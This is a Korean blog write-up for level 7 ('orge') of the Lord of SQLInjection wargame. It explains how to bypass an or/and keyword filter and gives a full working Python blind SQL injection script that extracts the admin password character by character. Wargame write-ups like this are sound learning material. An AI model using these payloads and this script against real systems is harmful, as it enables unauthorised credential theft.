본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 7번 : orge

스포하자면 이번 문제도 blind sql injection 문제다.

문제를 보러 가봅시다.

 

 

 

 

 

문제 살펴보기

los orge 문제

 

darkelf 문제에서 본 조건문이 보인다.

문제 풀이에 필요한 부분을 분석하면 아래와 같다.

 

 

 

 

 

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

 

이번 문제도 or과 and 연산자를 우회하는 문제다.

or는 ||로, and는 &&로 사용하면 될 것 같다.

 

 

 

 

 

                                    $query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";

                                    ...
                                   
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
                                    if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

 

해당 where문을 참으로 만들 경우,

Hello (반환된 행의 id 컬럼 값)을 출력한다.

대놓고 이걸 활용하여 blind sql injection을 수행하라고 한다.

 

 

 

 

 

                                   $_GET[pw] = addslashes($_GET[pw]); 
                                   $query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";

                                   $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
                                   if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");

 

addslashes 함수를 통해 pw 파라미터의 값의 특수문자를 이스케이프 처리하고,

해당 값이 id 컬럼의 값이 'admin'인 행의 pw 컬럼의 값이랑 일치하면 문제가 풀리게 된다.

결국 admin의 pw 값을 알아내라는 문제다.

 

 

 

 

 

문제 풀이 과정

or과 and만 우회하면 되는 문제이기 때문에

orc 문제에서 사용했던 python 코드를 조금만 수정하여 사용하면 될 것 같다.

 

 

 

 

 

이번 문제에서도 length 함수를 사용하여 pw 컬럼 값의 길이를 구하였다.

아래 코드는 내가 작성한 pw 컬럼 값의 길이를 구하는 함수다.


def find_admin_pw_length():     # id='admin'인 행의 pw값의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\'&&length(pw)>"+str(i)+"#"}
        #?pw='||id='admin'&&length(pw)>i#
        res = req.get(url, cookies=cookies, params=params)  # get 방식으로 데이터 전송
        if("Hello admin" not in res.text):                  # i 값이 length(pw)일 경우 length(pw)보다
            return i                                        # 크지 않으므로, Hello admin이 출력되지 않음
 

 

참고로 &는 url에 직접 입력하여 파라미터의 값으로 넣어주려면

%26으로 url enconding을 해서 넣어주어야 한다.

하지만 python requests 모듈을 사용해서 get 방식으로 데이터를 전달하면

알아서 url encoding을 해주기 때문에 그냥 사용해도 된다.

 

 

 

 

 

위 함수를 실행시켜 얻은 pw 값의 길이는 다음과 같다.


length=find_admin_pw_length()
print("length :", length)
 

 

pw 값의 길이

 

이제 이 길이를 사용해서 pw 값을 구하면 된다.

 

 

 

 

 

       
def find_password(length):  # pw값을 반환하는 함수    
    pw = ""
    for i in range(1, length+1):    # pw의 길이만큼 반복
        for char in chars:          # chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id=\'admin\'&&left(pw,"+str(i)+")=\'"+pw+char+"'#"}
            # ?pw='||id='admin'&&left(pw,i)='pw+char'#
            res = req.get(url, cookies=cookies, params=params)  # get 방식으로 데이터 전달
            if("Hello admin" in res.text):    # left(pw, i)="pw+char"이 참일 경우에만 "Hello admin"이 출력됨
                pw+=char
                break
    return pw

 

이번에도 left 함수를 사용하여 pw의 값을 구하였다.

python 코드에 대한 설명은 주석을 참고하길 바란다.

이제 위 함수를 실행시켜 pw 값을 구해보도록 하자.

 

 

 

 

 


pw_value = find_password(8)
print("pw :", pw_value)
 

 

pw의 값

 

함수를 실행시켜 위 값을 구하였다.

이를 이제 pw 파라미터의 값으로 넣어주면 문제가 풀릴 것이다.

 

 

 

 

 

orge clear

 

pw 값이 제대로 구해졌나보다.

orge clear!

 

전체 python 코드


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'}      # cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     # 숫자+알파벳+특수문자

def find_admin_pw_length():     # id='admin'인 행의 pw값의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\'&&length(pw)>"+str(i)+"#"}
        # ?pw='||id='admin'&&length(pw)>i#
        res = req.get(url, cookies=cookies, params=params)  # get 방식으로 데이터 전송
        if("Hello admin" not in res.text):                  # i 값이 length(pw)일 경우 length(pw)보다
            return i                                        # 크지 않으므로, Hello admin이 출력되지 않음
       
def find_password(length):  # pw값을 반환하는 함수    
    pw = ""
    for i in range(1, length+1):    # pw의 길이만큼 반복
        for char in chars:          # chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id=\'admin\'&&left(pw,"+str(i)+")=\'"+pw+char+"'#"}
            # ?pw='||id='admin'&&left(pw,i)='pw+char'#
            res = req.get(url, cookies=cookies, params=params)  # get 방식으로 데이터 전달
            if("Hello admin" in res.text):   # left(pw, i)="pw+char"이 참일 경우에만 "Hello admin"이 출력됨
                pw+=char
                break
    return pw
 

 

원하는 값이 제대로 전달되고 있는지 확인해보려면

res = req.get 이후에 res.url 값을 확인해보거나, 직접 해당 url로 이동해보는 것도 나쁘지 않다.